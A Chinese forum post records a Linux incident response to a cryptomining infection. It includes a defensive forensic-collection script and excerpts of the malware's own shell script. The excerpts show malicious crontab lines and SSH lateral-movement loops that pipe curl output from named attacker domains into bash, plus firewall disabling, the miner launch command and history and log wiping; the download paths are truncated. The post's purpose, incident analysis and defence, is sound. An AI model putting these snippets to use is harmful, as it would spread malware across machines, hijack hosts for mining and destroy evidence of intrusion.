你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

Linux应急响应笔记来了

[复制链接]
gaosmile 发布时间:2021-2-2 11:28
背景
前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
应急操作笔记
查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。
自动化信息收集
我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。
  1.   I+ V7 U! C0 y4 O
  2. #!/bin/bash. {. ^7 g6 \; r) e
  3. . z' ?, A' E2 s/ `0 D1 z5 a1 l3 a
  4. function initial(){( v' j1 B& g" H! t
  5.     echo "Doing initial"
    % M6 B# b) e0 J% H7 B  F  x# R+ a
  6.     mkdir /tmp/GatherInfo    / L# {( S( q, b
  7.     chmod +x ./chkrootkit
    5 Q, {8 }3 @% G% v8 v3 E" D3 e3 z
  8.     chmod +x ./busybox* ^! T% T: L& n. C& J" k8 ^, E2 ]
  9. }4 x! |) \4 h" l! T& W' s
  10. ( ^' e  j+ E3 D0 B4 o5 i5 o$ _
  11. function chkrootkit_info(){" I/ q5 n, |0 ]& G5 B5 E7 F
  12.     echo "Doing chkrootkit"% V# r0 h' s3 R1 j
  13.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1( _( B9 V5 ?0 I! _4 F1 z
  14. }+ x4 `$ t; c4 h! y; |" K' R

  15. 7 k' S' P2 m' B9 q/ j
  16. function network_info(){' V/ ?$ z9 u0 V2 G; J
  17.     echo "Gathering network info"! }% l6 z5 Z) R& }6 u  x% N0 v6 z
  18.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1; M1 q/ O/ B3 ~& T
  19.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&10 j/ n4 ]! u2 Y. d
  20. }  e' y+ x- u( c1 y. C

  21. . L* `& ^7 i' J# q; P) y6 F
  22. function process_info(){; d9 j0 _1 i9 L; q& ?# x# ]4 V8 }" K
  23.     echo "Gathering process info"
    4 g) c( _# X5 A8 {% w. K
  24.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
    1 @9 K& r0 t/ C6 Q1 ^  q4 ?; h
  25.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
    , d. _8 N1 V9 z" R% z& ~7 e& H& _
  26.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&15 F7 p* \) `0 s( |! p
  27. }/ s$ d2 x! r' x# U4 U

  28. , {$ S1 O7 u  g9 M+ P. R  p
  29. function init_info(){
    - L1 ^$ f6 D* k5 M# E4 ?6 h
  30.     echo "Gathering init info", p; t& B' Z" Z0 Q8 I" Y4 D. Q
  31.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
    & @# h( H: k% S/ L& Y( i
  32.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1# \. o7 v# E8 }; p) g/ f, C7 x' o
  33. }! k% r: R$ T  |, O2 ]+ m2 z
  34. 8 d; L! w" V( z4 c9 v; m/ \
  35. function cron_info(){. j2 M: N3 W# q1 Q6 c
  36.     echo "Gathering cron info"
    + o/ z$ d3 l+ G# O" y3 R- G
  37.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
    7 Q6 Q: Z' O$ B7 }* v% |8 G6 b5 E
  38.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&12 L2 ^) t; d: W7 P7 `: f
  39.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&14 ]( ]& m5 M8 ]

  40. ( V" ]5 w# w4 B* k) u  j
  41.     cd /etc/cron.d/9 v, a3 W; r' s; G* _- J" \
  42.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
    , p4 G9 G) r1 |7 s4 F  p
  43.     cd /etc/cron.daily/5 `/ O4 ^! t# W# X. ?+ R1 B, q
  44.     cat * > /tmp/GatherInfo/etc_daily.log 2>&16 ]! k! M- I. [: o0 |! O/ x# @: `
  45.     cd /etc/cron.hourly/0 W5 T: [4 O9 z2 ~) l9 ]7 `
  46.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
    ' s; t! i( f3 c1 _; o
  47.     cd /etc/cron.monthly/
    3 h% }4 }7 G, z! C& H6 t
  48.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&17 ?9 d6 e$ }0 M9 m' ]. ]
  49.     cd /etc/cron.weekly/) c% Z1 B& X) B
  50.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
    6 A' f" s3 d; \
  51.     cd /var/spool/cron/9 d# `5 \: x6 e5 F% c! m. Q
  52.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
    $ N4 }" W# s, e
  53.     cd /var/spool/anacron// v$ {3 w- E- G+ Y
  54.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1+ @, F: y' J+ ]" \( x) k
  55. }4 ^) z* Z( ^5 d% L2 m; C6 \+ q
  56. & i# |# ?) }3 Y- }' v+ P
  57. function other_info(){% q. ^5 q8 X' O$ \" U4 c; p" k
  58.     echo "Gathering other info"
    0 O* S9 H0 S  j  n7 F
  59.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1# \1 m% B( a! V8 y% o# `
  60.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
    ! C$ y2 ?. @7 r+ K) b7 e
  61.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1/ Y8 z1 ?+ F9 V; ]( ~& v# C
  62.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&11 [  t# F: w; `" ^5 q
  63.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&19 Z1 L* H& K' j1 f+ y, t( z
  64.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
    & e9 W: |7 _; ]8 a; F5 k9 {% M% ?
  65.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1+ N/ k0 w% \" F( E
  66.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&11 m7 R8 R- s$ T# ?; I( F

  67. + Y# Y0 R! z1 o8 z
  68.     for user in /home/*% O) d% A' t& x7 G; n/ J! K
  69.     do- O" `3 J1 G+ F3 \9 I; l' s
  70.         if test -d $user;then
    2 d) e2 l7 [2 }( M( W8 w
  71.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
    , z% u: n" c  m5 D/ G5 O
  72.         fi
    1 D2 m1 u7 Q) B- D' g4 T8 z
  73.     done
    8 e7 `. _5 K4 c8 w9 x# Z" N3 z
  74. }
    9 W' d: i8 ~4 B6 ^
  75. $ N# d. T8 b, R) b% O
  76. initial
      O2 F/ V0 v3 q2 \, C
  77. chkrootkit_info
    ) ?+ {+ ]/ r" [7 n  Y: G
  78. network_info
    & b0 c5 v, \- N  o% i! V% B
  79. process_info" f) ]  ]2 a8 H# Y
  80. init_info1 s: |8 T4 x0 c9 @
  81. cron_info6 }9 g& P6 I4 \; g9 q6 W
  82. other_info  w* D+ y: J+ q) b' k; i2 h7 F+ J  R
  83. * c$ ?, b* I; |
  84. cd /tmp
    2 `6 H& i8 T! o* P/ B
  85. tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码
信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查
应急响应检查表
微信图片_20210202112754.jpg
微信图片_20210202112758.jpg
在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务

  1. 9 P7 n9 G3 L. e4 _2 R
  2. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......( f# g) _7 z) `
  3. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......3 S2 a) Z- G: I0 B' _
  4. 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码
+ [. G; ~, p) b0 I9 Q
我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么
恶意脚本分析
恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码
  1. 5 {! }) e6 ~* v- J3 P, y
  2. #/bin/bash1 J+ k: N( y7 s, Z$ W- n& I3 C
  3. processes(){. s$ v/ w) Q4 w
  4.     killme() {1 D, L& A7 U7 F% I% b2 T
  5.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
    2 M* ]$ X% X* g; D+ `( _, w! |. z
  6.     }0 n# F( V' Z! h" |# `& S4 N

  7. 0 \! x, y6 r, i. ~, W
  8.     killa() {& y# ~$ i1 g, x0 Z% a8 u
  9.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
    / Z. b! u/ F8 Q0 P) B, ?' K2 w8 w! Z
  10.     }
    1 _6 l! y; A0 m# J' O$ ^

  11. $ f8 Y* @4 V. r2 _8 v: j2 ~
  12.     killa 34e2fg5 y- i  A- ]  Y5 n
  13.     killme
    6 M, j; {! O3 F% l$ C' E; G5 w
  14.   \$ m2 D& G7 O6 n( h& _) q
  15.     killall \.Historys! v; y' R! V# W6 ?; ~7 U! L
  16.     killall \.sshd6 ~( o$ ^3 A2 g
  17.     killall neptune
    $ ^/ `- @+ [* p2 a* _% L% n5 a
  18.     killall xm64# u1 L# s" F/ G! k) J4 f
  19.     killall xm321 z4 I0 F, C9 _  {7 e& [
  20.     killall xmrig  c' F  t- v1 q! O( L5 e- ~" E
  21.     killall \.xmrig0 e5 b1 F  H: Y+ n% u' U
  22.     killall suppoieup9 `( x0 {2 `# I2 J+ h8 \6 ?

  23. 8 Z9 B1 j  k: S, L
  24.     # sshd
    ; C) x6 H( K/ X+ o( x. b+ K& A
  25.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid; L! {! s8 q6 y  X2 J
  26.     while read sshdpid
    ; A: ~0 P5 `; H! }2 U& u7 X
  27.     do, x& W* @0 D* C' D2 X0 ^
  28.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]$ t$ b8 {3 c" c5 C6 d! Z
  29.         then) @: \0 D1 H6 A8 S8 ?( n" t. D
  30.             kill $sshdpid
    6 m' [8 B6 f. g& K; n* \+ V
  31.         fi* Y  V! @: z; F
  32.     done < /tmp/ssdpid
    ' H/ {  B; @+ n  M9 d4 `# |
  33.     rm -f /tmp/ssdpid
    , R- ?" b, u, C
  34. ! ?# N2 ~' y' s2 B
  35. # Removing miners by known path IOC3 n- _  X+ ~( H- g+ h
  36. files(){* U3 D- m% Z3 }$ g! G
  37.     ulimit -n 65535
    9 u; F( h: P, z) r
  38.     rm -rf /var/log/syslog
    , e: O# j4 ^' \- W2 g
  39.     chattr -iua /tmp/' E3 N/ t5 J2 p  _' z1 S$ b% l
  40.     chattr -iua /var/tmp/
    : y! J+ l8 l% M$ K6 z1 |
  41.     chattr -R -i /var/spool/cron
    ( s  {& m  S: v" Q5 t: V
  42.     chattr -i /etc/crontab2 X# Q* a( s6 f
  43.     ufw disable, X$ k2 t, y0 Q6 N" B
  44.     iptables -F9 |: T  c. s9 A! M! N- [# C1 B
  45.     echo "nope" >/tmp/log_rot6 \0 ^) L& z" r3 D& i
  46.     sudo sysctl kernel.nmi_watchdog=0. C" u, B0 |1 l# C( r8 h  z
  47.     echo '0' >/proc/sys/kernel/nmi_watchdog
    6 ]2 W4 n8 l% B; C
  48.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    , l6 L7 z) i7 }
  49.     rm /tmp/.cron& m1 V6 s9 M! X6 U. B
  50.     rm /tmp/.main9 o9 h9 q7 [/ J+ b, K
  51.     rm /tmp/.yam* -rf3 [' ]- t% a. {5 ]- N
  52.     rm -f /tmp/irq
    5 u5 P3 L) ~7 x$ Q- y5 A, V! R

  53. 5 ?8 |. D1 W# L) I) q8 I
  54. # Killing and blocking miners by network related IOC
    + z8 N! `% N& g
  55. network(){! X% Q$ d5 Z' ~! o: N1 a
  56.     # Kill by known ports/IPs. h+ A0 {9 h4 Z
  57.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -98 f5 X* U% e6 ^' `: p
  58.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    . E: d0 I+ @& b7 A. I
  59. 8 k' h8 |+ X* i
  60. files$ `  F6 k' M) g' J% z# B
  61. processes
    6 I  s& |; m. Z- z
  62. network8 I3 V0 E6 k$ e3 T! g
  63. echo "DONE"
复制代码

+ u8 ~' x' O& P, K
接下来是下载恶意二进制程序以及ssh横向传播

  1. " D) e( x; `' E$ _5 ?6 M) ?
  2. 代码片段1% {5 P$ t8 J  i' f
  3. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    ( F8 y' r! Z- v) k0 L
  4.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ....../ ?3 s' n4 \$ q( T$ P, S  s. U: }/ v
  5. fi" w! R, s& f4 h5 ?! T4 u: |
  6. 3 H' W: n* h, D' Z, J
  7. 代码片段2
    0 ~7 i( U, l2 E
  8. for file in /home/*
    , `. ?0 B8 Z- A! W* P" p2 L
  9. do6 M4 w9 y; \; b" C2 @% h* g
  10.     if test -d $file; then4 k/ o9 }9 O2 ~
  11.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then% z) ^& @6 W/ R* B; K
  12.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
      l* }8 \# Q$ v) [9 }4 A+ n
  13.         fi
    . s- H$ }" P6 E7 x* j: q& B6 K
  14.     fi8 A+ |) P* w/ s( ?
  15. done- \; r- F' t/ [
  16. ! N8 c- s+ Q, c# H" j9 m2 i3 g& ]
  17. 代码片段3# Y: m: n2 T$ `
  18.   for user in $userlist; do' v$ K: E, Q% W9 ^4 I; X" I! W
  19.     for host in $hostlist; do  v  q8 N+ X, p
  20.       for key in $keylist; do
    7 c2 n; |# C# O. |
  21.         for sshp in $sshports; do
    8 T3 a' \% z# f" W7 K" e7 Q
  22.           i=$((i+1))! N! p3 C1 V/ x1 P5 M7 P1 P
  23.           if [ "${i}" -eq "20" ]; then7 ^, C  a! R8 x( M9 z9 ~6 h
  24.             sleep 20
    ! _8 T  a/ d3 j# V
  25.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &8 N  d: K; t- [
  26.             i=0/ |, I( b, B) p, p: q+ v4 _. i" s
  27.           fi/ G- v/ h' S4 A2 \! H# q( q; T
  28.           #Wait 20 seconds after every 20 attempts and clean up hanging processes; M" V% r6 q( o
  29. ' H5 T/ \1 T' n) o$ Z
  30.           chmod +r $key
    ) G& Z# R; Z5 n, j% U) U( s; S
  31.           chmod 400 $key7 u8 M5 X# u9 E0 E
  32.           echo "$user@$host $key $sshp"9 j2 u1 ~* {+ R( l: z/ r$ L
  33.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
    % T+ H2 F; ?6 V9 Z3 S& h
  34.         done" m1 P% h! \) o: V3 n% A
  35.       done
    # R( W+ F/ x+ p% s/ i5 }
  36.     done: A' I( N" ~2 y. k) y6 ]
  37.   done
复制代码
7 w& |2 D' @5 ]  Z
上面这三段代码是通过ssh的证书登录方式横向感染传播。
  1. 2 O- F5 Z- k9 `8 R3 B! ?6 k
  2. if [ ! -d "/.Xll" ];then$ W1 h+ ~, @4 q& s
  3.     mkdir /.Xll* m6 e+ O- Y4 M8 Y% i+ |
  4. fi" a( o' P) A! K
  5. cd /.Xll, z7 g5 T, ]7 j/ G+ F
  6. if [ ! -f "./xr" ];then
    : U9 A& ~( y8 X
  7.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......" ?, Q9 }3 m; t, |8 {
  8. fi
    7 E, D7 u% e' p6 m
  9. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码
' M$ s3 Y0 _8 a1 t; \4 H3 G
上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。
最后是清理痕迹

  1. 4 ]0 B8 f9 g$ s  Z
  2. history -c
    0 l3 H: u/ _! i; |: l; V$ w
  3. echo 0>/var/spool/mail/root
    2 q2 M- ?5 ^0 H& j' B  ^: ?
  4. echo 0>/var/log/wtmp
    3 X# j% N' ^6 a2 W
  5. echo 0>/var/log/secure) D# Y; ]# ~3 T3 B% R
  6. echo 0>/var/log/cron- ^# ^0 [6 ?) t/ L4 K9 J9 i
  7. echo > /root/.bash_history
复制代码
清理与恢复
根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录
总结与反思病毒标识
目录及文件 /.Xll 和 /.Xll/xr
进程表示 ps aux | grep lplp.ackng.com
两个域 t.amynx.com, t.jdjdcjq.top
挖矿威胁小于勒索
每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。
无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。
防护建议
一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
最后,我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。
* W9 t! C$ j( U+ A( R0 o7 f- X
赞 收藏 评论0 发布时间:2021-2-2 11:28

举报

0个回答
关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
人形机器人运动控制、感知与智能配电
半导体创新技术与应用方向
EE架构与软件定义汽车
12V/48V 汽车智能配电(SPD)
区域控制单元(ZCU)与分区架构
关注我们
st-img 微信公众号
st-img 手机版